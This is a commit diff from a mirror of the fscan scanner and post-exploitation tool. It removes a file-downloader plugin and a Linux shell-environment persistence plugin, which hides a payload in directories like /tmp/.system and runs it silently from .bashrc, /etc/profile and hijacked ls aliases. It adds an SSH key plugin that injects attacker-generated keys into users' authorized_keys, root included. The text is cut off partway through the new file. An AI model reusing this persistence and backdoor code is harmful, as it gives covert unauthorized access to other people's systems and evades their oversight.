mirror of
https://github.com/shadow1ng/fscan.git
synced 2026-09-25 20:51:52 +08:00
chore: 砍掉 downloader/shellenv,新增 sshkey 插件
- 删除 downloader(curl/certutil 可替代) - 删除 shellenv(劫持 ls 别名动静太大,实用性差) - 新增 sshkey:生成 ed25519 密钥对,注入 authorized_keys, 私钥保存到当前目录,支持多用户(root 权限下自动注入 root)
This commit is contained in:
@@ -575,9 +575,6 @@ cleaner_success:
|
|||||||
cleaner_history_found:
|
cleaner_history_found:
|
||||||
other: "Found history file: {{.Arg1}} (requires manual cleanup)"
|
other: "Found history file: {{.Arg1}} (requires manual cleanup)"
|
||||||
|
|
||||||
# Downloader
|
|
||||||
downloader_success:
|
|
||||||
other: "File download completed: {{.Arg1}} -> {{.Arg2}} (size: {{.Arg3}} bytes)"
|
|
||||||
|
|
||||||
# Forward shell
|
# Forward shell
|
||||||
forwardshell_complete:
|
forwardshell_complete:
|
||||||
@@ -611,9 +608,10 @@ winstartup_success:
|
|||||||
winservice_success:
|
winservice_success:
|
||||||
other: "Windows service persistence completed: {{.Arg1}} items"
|
other: "Windows service persistence completed: {{.Arg1}} items"
|
||||||
|
|
||||||
# Shell environment
|
|
||||||
shellenv_success:
|
# SSH Key injection
|
||||||
other: "Shell environment persistence completed: {{.Arg1}} methods succeeded"
|
sshkey_success:
|
||||||
|
other: "SSH key injection completed: {{.Arg1}} users"
|
||||||
|
|
||||||
# LD_PRELOAD
|
# LD_PRELOAD
|
||||||
ldpreload_success:
|
ldpreload_success:
|
||||||
|
|||||||
@@ -574,10 +574,6 @@ cleaner_success:
|
|||||||
cleaner_history_found:
|
cleaner_history_found:
|
||||||
other: "发现历史文件: {{.Arg1}} (需手动清理相关条目)"
|
other: "发现历史文件: {{.Arg1}} (需手动清理相关条目)"
|
||||||
|
|
||||||
# 文件下载
|
|
||||||
downloader_success:
|
|
||||||
other: "文件下载完成: {{.Arg1}} -> {{.Arg2}} (大小: {{.Arg3}} bytes)"
|
|
||||||
|
|
||||||
# 正向Shell
|
# 正向Shell
|
||||||
forwardshell_complete:
|
forwardshell_complete:
|
||||||
other: "正向Shell服务完成 - 端口: {{.Arg1}}"
|
other: "正向Shell服务完成 - 端口: {{.Arg1}}"
|
||||||
@@ -610,9 +606,9 @@ winstartup_success:
|
|||||||
winservice_success:
|
winservice_success:
|
||||||
other: "Windows服务持久化完成: {{.Arg1}}个项目"
|
other: "Windows服务持久化完成: {{.Arg1}}个项目"
|
||||||
|
|
||||||
# Shell环境变量
|
# SSH Key注入
|
||||||
shellenv_success:
|
sshkey_success:
|
||||||
other: "Shell环境变量持久化完成: {{.Arg1}}个方法成功"
|
other: "SSH Key注入完成: {{.Arg1}}个用户"
|
||||||
|
|
||||||
# LD_PRELOAD
|
# LD_PRELOAD
|
||||||
ldpreload_success:
|
ldpreload_success:
|
||||||
|
|||||||
@@ -1,251 +0,0 @@
|
|||||||
//go:build (plugin_downloader || !plugin_selective) && !no_local
|
|
||||||
|
|
||||||
package local
|
|
||||||
|
|
||||||
import (
|
|
||||||
"context"
|
|
||||||
"fmt"
|
|
||||||
"io"
|
|
||||||
"net/http"
|
|
||||||
"os"
|
|
||||||
"path/filepath"
|
|
||||||
"runtime"
|
|
||||||
"strings"
|
|
||||||
"time"
|
|
||||||
|
|
||||||
"github.com/shadow1ng/fscan/common"
|
|
||||||
"github.com/shadow1ng/fscan/common/i18n"
|
|
||||||
"github.com/shadow1ng/fscan/plugins"
|
|
||||||
)
|
|
||||||
|
|
||||||
// DownloaderPlugin 文件下载插件
|
|
||||||
// 设计哲学:直接实现,删除过度设计
|
|
||||||
// - 删除复杂的继承体系
|
|
||||||
// - 直接实现文件下载功能
|
|
||||||
// - 保持原有功能逻辑
|
|
||||||
type DownloaderPlugin struct {
|
|
||||||
plugins.BasePlugin
|
|
||||||
}
|
|
||||||
|
|
||||||
// NewDownloaderPlugin 创建文件下载插件
|
|
||||||
func NewDownloaderPlugin() *DownloaderPlugin {
|
|
||||||
return &DownloaderPlugin{
|
|
||||||
BasePlugin: plugins.NewBasePlugin("downloader"),
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Scan 执行文件下载任务 - 直接实现
|
|
||||||
func (p *DownloaderPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result {
|
|
||||||
config := session.Config
|
|
||||||
var output strings.Builder
|
|
||||||
|
|
||||||
// 从config获取配置
|
|
||||||
downloadURL := config.LocalExploit.DownloadURL
|
|
||||||
savePath := config.LocalExploit.DownloadSavePath
|
|
||||||
downloadTimeout := 30 * time.Second
|
|
||||||
maxFileSize := int64(100 * 1024 * 1024) // 100MB
|
|
||||||
|
|
||||||
output.WriteString("=== 文件下载 ===\n")
|
|
||||||
|
|
||||||
// 验证参数
|
|
||||||
if err := p.validateParameters(downloadURL, &savePath); err != nil {
|
|
||||||
output.WriteString(fmt.Sprintf("参数验证失败: %v\n", err))
|
|
||||||
return &plugins.Result{
|
|
||||||
Success: false,
|
|
||||||
Output: output.String(),
|
|
||||||
Error: err,
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
output.WriteString(fmt.Sprintf("下载URL: %s\n", downloadURL))
|
|
||||||
output.WriteString(fmt.Sprintf("保存路径: %s\n", savePath))
|
|
||||||
output.WriteString(fmt.Sprintf("平台: %s\n\n", runtime.GOOS))
|
|
||||||
|
|
||||||
// 检查保存路径权限
|
|
||||||
if err := p.checkSavePathPermissions(&savePath); err != nil {
|
|
||||||
output.WriteString(fmt.Sprintf("保存路径检查失败: %v\n", err))
|
|
||||||
return &plugins.Result{
|
|
||||||
Success: false,
|
|
||||||
Output: output.String(),
|
|
||||||
Error: err,
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 执行下载
|
|
||||||
downloadInfo, err := p.downloadFile(ctx, downloadURL, savePath, downloadTimeout, maxFileSize)
|
|
||||||
if err != nil {
|
|
||||||
output.WriteString(fmt.Sprintf("下载失败: %v\n", err))
|
|
||||||
return &plugins.Result{
|
|
||||||
Success: false,
|
|
||||||
Output: output.String(),
|
|
||||||
Error: err,
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 输出下载结果
|
|
||||||
output.WriteString("✓ 文件下载成功!\n")
|
|
||||||
output.WriteString(fmt.Sprintf("文件大小: %v bytes\n", downloadInfo["file_size"]))
|
|
||||||
if contentType, ok := downloadInfo["content_type"]; ok && contentType != "" {
|
|
||||||
output.WriteString(fmt.Sprintf("文件类型: %v\n", contentType))
|
|
||||||
}
|
|
||||||
output.WriteString(fmt.Sprintf("下载用时: %v\n", downloadInfo["download_time"]))
|
|
||||||
|
|
||||||
common.LogSuccess(i18n.Tr("downloader_success",
|
|
||||||
downloadURL, savePath, downloadInfo["file_size"]))
|
|
||||||
|
|
||||||
return &plugins.Result{
|
|
||||||
Success: true,
|
|
||||||
Type: plugins.ResultTypeService,
|
|
||||||
Output: output.String(),
|
|
||||||
Error: nil,
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// validateParameters 验证输入参数
|
|
||||||
func (p *DownloaderPlugin) validateParameters(downloadURL string, savePath *string) error {
|
|
||||||
if downloadURL == "" {
|
|
||||||
return fmt.Errorf("下载URL不能为空,请使用 -download-url 参数指定")
|
|
||||||
}
|
|
||||||
|
|
||||||
// 验证URL格式
|
|
||||||
if !strings.HasPrefix(strings.ToLower(downloadURL), "http://") &&
|
|
||||||
!strings.HasPrefix(strings.ToLower(downloadURL), "https://") {
|
|
||||||
return fmt.Errorf("无效的URL格式,必须以 http:// 或 https:// 开头")
|
|
||||||
}
|
|
||||||
|
|
||||||
// 如果没有指定保存路径,使用URL中的文件名
|
|
||||||
if *savePath == "" {
|
|
||||||
filename := p.extractFilenameFromURL(downloadURL)
|
|
||||||
if filename == "" {
|
|
||||||
filename = "downloaded_file"
|
|
||||||
}
|
|
||||||
*savePath = filename
|
|
||||||
}
|
|
||||||
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// extractFilenameFromURL 从URL中提取文件名
|
|
||||||
func (p *DownloaderPlugin) extractFilenameFromURL(url string) string {
|
|
||||||
// 移除查询参数
|
|
||||||
if idx := strings.Index(url, "?"); idx != -1 {
|
|
||||||
url = url[:idx]
|
|
||||||
}
|
|
||||||
|
|
||||||
// 获取路径的最后一部分
|
|
||||||
parts := strings.Split(url, "/")
|
|
||||||
if len(parts) > 0 {
|
|
||||||
filename := parts[len(parts)-1]
|
|
||||||
if filename != "" && !strings.Contains(filename, "=") {
|
|
||||||
return filename
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return ""
|
|
||||||
}
|
|
||||||
|
|
||||||
// checkSavePathPermissions 检查保存路径权限
|
|
||||||
func (p *DownloaderPlugin) checkSavePathPermissions(savePath *string) error {
|
|
||||||
// 获取保存目录
|
|
||||||
saveDir := filepath.Dir(*savePath)
|
|
||||||
if saveDir == "." || saveDir == "" {
|
|
||||||
// 使用当前目录
|
|
||||||
var err error
|
|
||||||
saveDir, err = os.Getwd()
|
|
||||||
if err != nil {
|
|
||||||
return fmt.Errorf("获取当前目录失败: %w", err)
|
|
||||||
}
|
|
||||||
*savePath = filepath.Join(saveDir, filepath.Base(*savePath))
|
|
||||||
}
|
|
||||||
|
|
||||||
// 确保目录存在
|
|
||||||
if err := os.MkdirAll(saveDir, 0755); err != nil {
|
|
||||||
return fmt.Errorf("创建保存目录失败: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
// 检查写入权限
|
|
||||||
testFile := filepath.Join(saveDir, ".fscan_write_test")
|
|
||||||
file, err := os.Create(testFile)
|
|
||||||
if err != nil {
|
|
||||||
return fmt.Errorf("保存目录无写入权限: %w", err)
|
|
||||||
}
|
|
||||||
_ = file.Close() // 测试文件,Close错误可忽略
|
|
||||||
_ = os.Remove(testFile)
|
|
||||||
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// downloadFile 执行文件下载
|
|
||||||
func (p *DownloaderPlugin) downloadFile(ctx context.Context, downloadURL, savePath string, downloadTimeout time.Duration, maxFileSize int64) (map[string]interface{}, error) {
|
|
||||||
startTime := time.Now()
|
|
||||||
|
|
||||||
// 创建带超时的HTTP客户端
|
|
||||||
client := &http.Client{
|
|
||||||
Timeout: downloadTimeout,
|
|
||||||
}
|
|
||||||
|
|
||||||
// 创建请求
|
|
||||||
req, err := http.NewRequestWithContext(ctx, "GET", downloadURL, nil)
|
|
||||||
if err != nil {
|
|
||||||
return nil, fmt.Errorf("创建HTTP请求失败: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
// 设置User-Agent
|
|
||||||
req.Header.Set("User-Agent", "fscan-downloader/1.0")
|
|
||||||
|
|
||||||
// 发送请求
|
|
||||||
resp, err := client.Do(req)
|
|
||||||
if err != nil {
|
|
||||||
return nil, fmt.Errorf("HTTP请求失败: %w", err)
|
|
||||||
}
|
|
||||||
defer func() { _ = resp.Body.Close() }() // HTTP响应体,Close错误可安全忽略
|
|
||||||
|
|
||||||
// 检查HTTP状态码
|
|
||||||
if resp.StatusCode != http.StatusOK {
|
|
||||||
return nil, fmt.Errorf("HTTP请求失败,状态码: %d %s", resp.StatusCode, resp.Status)
|
|
||||||
}
|
|
||||||
|
|
||||||
// 检查文件大小
|
|
||||||
contentLength := resp.ContentLength
|
|
||||||
if contentLength > maxFileSize {
|
|
||||||
return nil, fmt.Errorf("文件过大 (%d bytes),超过最大限制 (%d bytes)",
|
|
||||||
contentLength, maxFileSize)
|
|
||||||
}
|
|
||||||
|
|
||||||
// 创建保存文件
|
|
||||||
outFile, err := os.Create(savePath)
|
|
||||||
if err != nil {
|
|
||||||
return nil, fmt.Errorf("创建保存文件失败: %w", err)
|
|
||||||
}
|
|
||||||
defer func() { _ = outFile.Close() }() // 文件资源清理,Close错误可安全忽略
|
|
||||||
|
|
||||||
// 使用带限制的Reader防止过大文件
|
|
||||||
limitedReader := io.LimitReader(resp.Body, maxFileSize)
|
|
||||||
|
|
||||||
// 复制数据
|
|
||||||
written, err := io.Copy(outFile, limitedReader)
|
|
||||||
if err != nil {
|
|
||||||
// 清理部分下载的文件
|
|
||||||
_ = os.Remove(savePath) // 清理临时文件,Remove错误可忽略
|
|
||||||
return nil, fmt.Errorf("文件下载失败: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
downloadTime := time.Since(startTime)
|
|
||||||
|
|
||||||
// 返回下载信息
|
|
||||||
downloadInfo := map[string]interface{}{
|
|
||||||
"save_path": savePath,
|
|
||||||
"file_size": written,
|
|
||||||
"content_type": resp.Header.Get("Content-Type"),
|
|
||||||
"download_time": downloadTime,
|
|
||||||
}
|
|
||||||
|
|
||||||
return downloadInfo, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// 注册插件
|
|
||||||
func init() {
|
|
||||||
RegisterLocalPlugin("downloader", func() Plugin {
|
|
||||||
return NewDownloaderPlugin()
|
|
||||||
})
|
|
||||||
}
|
|
||||||
@@ -1,342 +0,0 @@
|
|||||||
//go:build (plugin_shellenv || !plugin_selective) && linux && !no_local
|
|
||||||
|
|
||||||
package local
|
|
||||||
|
|
||||||
import (
|
|
||||||
"context"
|
|
||||||
"fmt"
|
|
||||||
"os"
|
|
||||||
"os/user"
|
|
||||||
"path/filepath"
|
|
||||||
"runtime"
|
|
||||||
"strings"
|
|
||||||
|
|
||||||
"github.com/shadow1ng/fscan/common"
|
|
||||||
"github.com/shadow1ng/fscan/common/i18n"
|
|
||||||
"github.com/shadow1ng/fscan/plugins"
|
|
||||||
)
|
|
||||||
|
|
||||||
// ShellEnvPlugin Shell环境持久化插件
|
|
||||||
// 设计哲学:直接实现,删除过度设计
|
|
||||||
// - 删除复杂的继承体系
|
|
||||||
// - 直接实现持久化功能
|
|
||||||
// - 保持原有功能逻辑
|
|
||||||
type ShellEnvPlugin struct {
|
|
||||||
plugins.BasePlugin
|
|
||||||
}
|
|
||||||
|
|
||||||
// NewShellEnvPlugin 创建Shell环境变量持久化插件
|
|
||||||
func NewShellEnvPlugin() *ShellEnvPlugin {
|
|
||||||
return &ShellEnvPlugin{
|
|
||||||
BasePlugin: plugins.NewBasePlugin("shellenv"),
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Scan 执行Shell环境变量持久化 - 直接实现
|
|
||||||
func (p *ShellEnvPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result {
|
|
||||||
config := session.Config
|
|
||||||
var output strings.Builder
|
|
||||||
|
|
||||||
if runtime.GOOS != "linux" {
|
|
||||||
output.WriteString("Shell环境变量持久化只支持Linux平台\n")
|
|
||||||
return &plugins.Result{
|
|
||||||
Success: false,
|
|
||||||
Output: output.String(),
|
|
||||||
Error: fmt.Errorf("不支持的平台: %s", runtime.GOOS),
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 从config获取配置
|
|
||||||
targetFile := config.PersistenceTargetFile
|
|
||||||
if targetFile == "" {
|
|
||||||
output.WriteString("必须通过 -persistence-file 参数指定目标文件路径\n")
|
|
||||||
return &plugins.Result{
|
|
||||||
Success: false,
|
|
||||||
Output: output.String(),
|
|
||||||
Error: fmt.Errorf("未指定目标文件"),
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 检查目标文件是否存在
|
|
||||||
if _, err := os.Stat(targetFile); os.IsNotExist(err) {
|
|
||||||
output.WriteString(fmt.Sprintf("目标文件不存在: %s\n", targetFile))
|
|
||||||
return &plugins.Result{
|
|
||||||
Success: false,
|
|
||||||
Output: output.String(),
|
|
||||||
Error: err,
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
output.WriteString("=== Shell环境变量持久化 ===\n")
|
|
||||||
output.WriteString(fmt.Sprintf("目标文件: %s\n", targetFile))
|
|
||||||
output.WriteString(fmt.Sprintf("平台: %s\n\n", runtime.GOOS))
|
|
||||||
|
|
||||||
var successCount int
|
|
||||||
|
|
||||||
// 1. 复制文件到隐藏目录
|
|
||||||
hiddenPath, err := p.copyToHiddenPath(targetFile)
|
|
||||||
if err != nil {
|
|
||||||
output.WriteString(fmt.Sprintf("✗ 复制文件失败: %v\n", err))
|
|
||||||
} else {
|
|
||||||
output.WriteString(fmt.Sprintf("✓ 文件已复制到: %s\n", hiddenPath))
|
|
||||||
successCount++
|
|
||||||
}
|
|
||||||
|
|
||||||
// 2. 添加到用户shell配置文件
|
|
||||||
userConfigs, err := p.addToUserConfigs(hiddenPath)
|
|
||||||
if err != nil {
|
|
||||||
output.WriteString(fmt.Sprintf("✗ 添加到用户配置失败: %v\n", err))
|
|
||||||
} else {
|
|
||||||
output.WriteString(fmt.Sprintf("✓ 已添加到用户配置: %s\n", strings.Join(userConfigs, ", ")))
|
|
||||||
successCount++
|
|
||||||
}
|
|
||||||
|
|
||||||
// 3. 添加到全局shell配置文件
|
|
||||||
globalConfigs, err := p.addToGlobalConfigs(hiddenPath)
|
|
||||||
if err != nil {
|
|
||||||
output.WriteString(fmt.Sprintf("✗ 添加到全局配置失败: %v\n", err))
|
|
||||||
} else {
|
|
||||||
output.WriteString(fmt.Sprintf("✓ 已添加到全局配置: %s\n", strings.Join(globalConfigs, ", ")))
|
|
||||||
successCount++
|
|
||||||
}
|
|
||||||
|
|
||||||
// 4. 创建启动别名
|
|
||||||
aliasConfigs, err := p.addAliases(hiddenPath)
|
|
||||||
if err != nil {
|
|
||||||
output.WriteString(fmt.Sprintf("✗ 创建别名失败: %v\n", err))
|
|
||||||
} else {
|
|
||||||
output.WriteString(fmt.Sprintf("✓ 已创建别名: %s\n", strings.Join(aliasConfigs, ", ")))
|
|
||||||
successCount++
|
|
||||||
}
|
|
||||||
|
|
||||||
// 5. 添加PATH环境变量
|
|
||||||
err = p.addToPath(filepath.Dir(hiddenPath))
|
|
||||||
if err != nil {
|
|
||||||
output.WriteString(fmt.Sprintf("✗ 添加PATH失败: %v\n", err))
|
|
||||||
} else {
|
|
||||||
output.WriteString("✓ 已添加到PATH环境变量\n")
|
|
||||||
successCount++
|
|
||||||
}
|
|
||||||
|
|
||||||
// 输出统计
|
|
||||||
output.WriteString(fmt.Sprintf("\nShell环境变量持久化完成: 成功(%d) 总计(%d)\n", successCount, 5))
|
|
||||||
|
|
||||||
if successCount > 0 {
|
|
||||||
common.LogSuccess(i18n.Tr("shellenv_success", successCount))
|
|
||||||
}
|
|
||||||
|
|
||||||
return &plugins.Result{
|
|
||||||
Success: successCount > 0,
|
|
||||||
Output: output.String(),
|
|
||||||
Error: nil,
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// copyToHiddenPath 复制文件到隐藏目录
|
|
||||||
func (p *ShellEnvPlugin) copyToHiddenPath(targetFile string) (string, error) {
|
|
||||||
// 获取用户主目录
|
|
||||||
usr, err := user.Current()
|
|
||||||
if err != nil {
|
|
||||||
return "", err
|
|
||||||
}
|
|
||||||
|
|
||||||
// 创建隐藏目录
|
|
||||||
hiddenDirs := []string{
|
|
||||||
filepath.Join(usr.HomeDir, ".local", "bin"),
|
|
||||||
filepath.Join(usr.HomeDir, ".config"),
|
|
||||||
"/tmp/.system",
|
|
||||||
"/var/tmp/.cache",
|
|
||||||
}
|
|
||||||
|
|
||||||
var targetDir string
|
|
||||||
for _, dir := range hiddenDirs {
|
|
||||||
if mkdirErr := os.MkdirAll(dir, 0755); mkdirErr == nil {
|
|
||||||
targetDir = dir
|
|
||||||
break
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if targetDir == "" {
|
|
||||||
return "", fmt.Errorf("无法创建目标目录")
|
|
||||||
}
|
|
||||||
|
|
||||||
// 生成隐藏文件名
|
|
||||||
basename := filepath.Base(targetFile)
|
|
||||||
hiddenName := "." + strings.TrimSuffix(basename, filepath.Ext(basename))
|
|
||||||
if p.isScriptFile(targetFile) {
|
|
||||||
hiddenName += ".sh"
|
|
||||||
}
|
|
||||||
|
|
||||||
targetPath := filepath.Join(targetDir, hiddenName)
|
|
||||||
|
|
||||||
// 复制文件
|
|
||||||
err = p.copyFile(targetFile, targetPath)
|
|
||||||
if err != nil {
|
|
||||||
return "", err
|
|
||||||
}
|
|
||||||
|
|
||||||
// 设置执行权限
|
|
||||||
_ = os.Chmod(targetPath, 0755)
|
|
||||||
|
|
||||||
return targetPath, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// copyFile 复制文件内容
|
|
||||||
func (p *ShellEnvPlugin) copyFile(src, dst string) error {
|
|
||||||
sourceData, err := os.ReadFile(src)
|
|
||||||
if err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
return os.WriteFile(dst, sourceData, 0755)
|
|
||||||
}
|
|
||||||
|
|
||||||
// addToUserConfigs 添加到用户shell配置文件
|
|
||||||
func (p *ShellEnvPlugin) addToUserConfigs(execPath string) ([]string, error) {
|
|
||||||
usr, err := user.Current()
|
|
||||||
if err != nil {
|
|
||||||
return nil, err
|
|
||||||
}
|
|
||||||
|
|
||||||
configFiles := []string{
|
|
||||||
filepath.Join(usr.HomeDir, ".bashrc"),
|
|
||||||
filepath.Join(usr.HomeDir, ".profile"),
|
|
||||||
filepath.Join(usr.HomeDir, ".bash_profile"),
|
|
||||||
filepath.Join(usr.HomeDir, ".zshrc"),
|
|
||||||
}
|
|
||||||
|
|
||||||
var modified []string
|
|
||||||
execLine := p.generateExecLine(execPath)
|
|
||||||
|
|
||||||
for _, configFile := range configFiles {
|
|
||||||
if p.addToConfigFile(configFile, execLine) {
|
|
||||||
modified = append(modified, configFile)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if len(modified) == 0 {
|
|
||||||
return nil, fmt.Errorf("无法修改任何用户配置文件")
|
|
||||||
}
|
|
||||||
|
|
||||||
return modified, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// addToGlobalConfigs 添加到全局shell配置文件
|
|
||||||
func (p *ShellEnvPlugin) addToGlobalConfigs(execPath string) ([]string, error) {
|
|
||||||
configFiles := []string{
|
|
||||||
"/etc/bash.bashrc",
|
|
||||||
"/etc/profile",
|
|
||||||
"/etc/zsh/zshrc",
|
|
||||||
"/etc/profile.d/custom.sh",
|
|
||||||
}
|
|
||||||
|
|
||||||
var modified []string
|
|
||||||
execLine := p.generateExecLine(execPath)
|
|
||||||
|
|
||||||
for _, configFile := range configFiles {
|
|
||||||
// 对于profile.d,需要先创建目录
|
|
||||||
if strings.Contains(configFile, "profile.d") {
|
|
||||||
_ = os.MkdirAll(filepath.Dir(configFile), 0755)
|
|
||||||
}
|
|
||||||
|
|
||||||
if p.addToConfigFile(configFile, execLine) {
|
|
||||||
modified = append(modified, configFile)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if len(modified) == 0 {
|
|
||||||
return nil, fmt.Errorf("无法修改任何全局配置文件")
|
|
||||||
}
|
|
||||||
|
|
||||||
return modified, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// addAliases 添加命令别名
|
|
||||||
func (p *ShellEnvPlugin) addAliases(execPath string) ([]string, error) {
|
|
||||||
usr, err := user.Current()
|
|
||||||
if err != nil {
|
|
||||||
return nil, err
|
|
||||||
}
|
|
||||||
|
|
||||||
aliasFiles := []string{
|
|
||||||
filepath.Join(usr.HomeDir, ".bash_aliases"),
|
|
||||||
filepath.Join(usr.HomeDir, ".aliases"),
|
|
||||||
}
|
|
||||||
|
|
||||||
// 生成常用命令别名
|
|
||||||
aliases := []string{
|
|
||||||
fmt.Sprintf("alias ls='%s; /bin/ls'", execPath),
|
|
||||||
fmt.Sprintf("alias ll='%s; /bin/ls -l'", execPath),
|
|
||||||
fmt.Sprintf("alias la='%s; /bin/ls -la'", execPath),
|
|
||||||
}
|
|
||||||
|
|
||||||
var modified []string
|
|
||||||
for _, aliasFile := range aliasFiles {
|
|
||||||
content := strings.Join(aliases, "\n") + "\n"
|
|
||||||
if p.addToConfigFile(aliasFile, content) {
|
|
||||||
modified = append(modified, aliasFile)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return modified, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// addToPath 添加到PATH环境变量
|
|
||||||
func (p *ShellEnvPlugin) addToPath(dirPath string) error {
|
|
||||||
usr, err := user.Current()
|
|
||||||
if err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
|
|
||||||
configFile := filepath.Join(usr.HomeDir, ".bashrc")
|
|
||||||
pathLine := fmt.Sprintf("export PATH=\"%s:$PATH\"", dirPath)
|
|
||||||
|
|
||||||
if p.addToConfigFile(configFile, pathLine) {
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
return fmt.Errorf("无法添加PATH环境变量")
|
|
||||||
}
|
|
||||||
|
|
||||||
// addToConfigFile 添加内容到配置文件
|
|
||||||
func (p *ShellEnvPlugin) addToConfigFile(configFile, content string) bool {
|
|
||||||
// 读取现有内容
|
|
||||||
existingContent := ""
|
|
||||||
if data, err := os.ReadFile(configFile); err == nil {
|
|
||||||
existingContent = string(data)
|
|
||||||
}
|
|
||||||
|
|
||||||
// 检查是否已存在
|
|
||||||
if strings.Contains(existingContent, content) {
|
|
||||||
return true // 已存在,视为成功
|
|
||||||
}
|
|
||||||
|
|
||||||
// 添加新内容
|
|
||||||
if !strings.HasSuffix(existingContent, "\n") && existingContent != "" {
|
|
||||||
existingContent += "\n"
|
|
||||||
}
|
|
||||||
existingContent += content + "\n"
|
|
||||||
|
|
||||||
// 写入文件
|
|
||||||
return os.WriteFile(configFile, []byte(existingContent), 0644) == nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// generateExecLine 生成执行命令行
|
|
||||||
func (p *ShellEnvPlugin) generateExecLine(execPath string) string {
|
|
||||||
if p.isScriptFile(execPath) {
|
|
||||||
return fmt.Sprintf("bash %s >/dev/null 2>&1 &", execPath)
|
|
||||||
}
|
|
||||||
return fmt.Sprintf("%s >/dev/null 2>&1 &", execPath)
|
|
||||||
}
|
|
||||||
|
|
||||||
// isScriptFile 检查是否为脚本文件
|
|
||||||
func (p *ShellEnvPlugin) isScriptFile(filePath string) bool {
|
|
||||||
ext := strings.ToLower(filepath.Ext(filePath))
|
|
||||||
return ext == ".sh" || ext == ".bash" || ext == ".zsh"
|
|
||||||
}
|
|
||||||
|
|
||||||
// 注册插件
|
|
||||||
func init() {
|
|
||||||
RegisterLocalPlugin("shellenv", func() Plugin {
|
|
||||||
return NewShellEnvPlugin()
|
|
||||||
})
|
|
||||||
}
|
|
||||||
@@ -0,0 +1,142 @@
|
|||||||
|
//go:build (plugin_sshkey || !plugin_selective) && !windows && !no_local
|
||||||
|
|
||||||
|
package local
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"crypto/ed25519"
|
||||||
|
"crypto/rand"
|
||||||
|
"encoding/pem"
|
||||||
|
"fmt"
|
||||||
|
"os"
|
||||||
|
"os/user"
|
||||||
|
"path/filepath"
|
||||||
|
"strings"
|
||||||
|
|
||||||
|
"github.com/shadow1ng/fscan/common"
|
||||||
|
"github.com/shadow1ng/fscan/common/i18n"
|
||||||
|
"github.com/shadow1ng/fscan/plugins"
|
||||||
|
"golang.org/x/crypto/ssh"
|
||||||
|
)
|
||||||
|
|
||||||
|
type SSHKeyPlugin struct {
|
||||||
|
plugins.BasePlugin
|
||||||
|
}
|
||||||
|
|
||||||
|
func NewSSHKeyPlugin() *SSHKeyPlugin {
|
||||||
|
return &SSHKeyPlugin{BasePlugin: plugins.NewBasePlugin("sshkey")}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (p *SSHKeyPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result {
|
||||||
|
var output strings.Builder
|
||||||
|
var successCount int
|
||||||
|
|
||||||
|
targets := p.getTargetUsers()
|
||||||
|
|
||||||
|
for _, u := range targets {
|
||||||
|
sshDir := filepath.Join(u.HomeDir, ".ssh")
|
||||||
|
authFile := filepath.Join(sshDir, "authorized_keys")
|
||||||
|
|
||||||
|
if err := os.MkdirAll(sshDir, 0700); err != nil {
|
||||||
|
output.WriteString(fmt.Sprintf("[失败] %s: 无法创建 .ssh 目录: %v\n", u.Username, err))
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
pubKey, privKey, err := p.generateKeyPair()
|
||||||
|
if err != nil {
|
||||||
|
output.WriteString(fmt.Sprintf("[失败] %s: 密钥生成失败: %v\n", u.Username, err))
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
// 追加公钥到 authorized_keys
|
||||||
|
existing, _ := os.ReadFile(authFile)
|
||||||
|
if strings.Contains(string(existing), pubKey) {
|
||||||
|
output.WriteString(fmt.Sprintf("[跳过] %s: 公钥已存在\n", u.Username))
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
entry := pubKey + " fscan@" + hostname() + "\n"
|
||||||
|
f, err := os.OpenFile(authFile, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0600)
|
||||||
|
if err != nil {
|
||||||
|
output.WriteString(fmt.Sprintf("[失败] %s: 无法写入 authorized_keys: %v\n", u.Username, err))
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
_, err = f.WriteString(entry)
|
||||||
|
f.Close()
|
||||||
|
if err != nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
// 保存私钥到当前目录
|
||||||
|
keyFile := fmt.Sprintf("id_%s_%s", u.Username, "ed25519")
|
||||||
|
if err := os.WriteFile(keyFile, []byte(privKey), 0600); err != nil {
|
||||||
|
output.WriteString(fmt.Sprintf("[失败] %s: 私钥保存失败: %v\n", u.Username, err))
|
||||||
|
continue
|
||||||
